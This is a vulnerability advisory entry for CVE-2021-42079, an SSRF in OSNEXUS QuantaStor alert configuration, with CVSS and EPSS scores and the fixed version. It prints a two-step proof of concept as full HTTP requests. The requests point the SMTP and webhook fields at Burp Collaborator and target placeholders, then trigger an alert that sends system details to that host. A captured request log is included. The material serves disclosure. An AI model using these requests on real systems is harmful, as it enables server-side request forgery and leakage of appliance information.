CVE-2021-42079: Osnexus Quantastor

Medium severity, CVSS 4.9. EPSS: 0.7% chance of exploitation in the next 30 days.

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

Affected products

• Osnexus Quantastor: before 6.0.0.355 (fixed in 6.0.0.355)

Published 2023-07-10. Last modified 2026-06-17.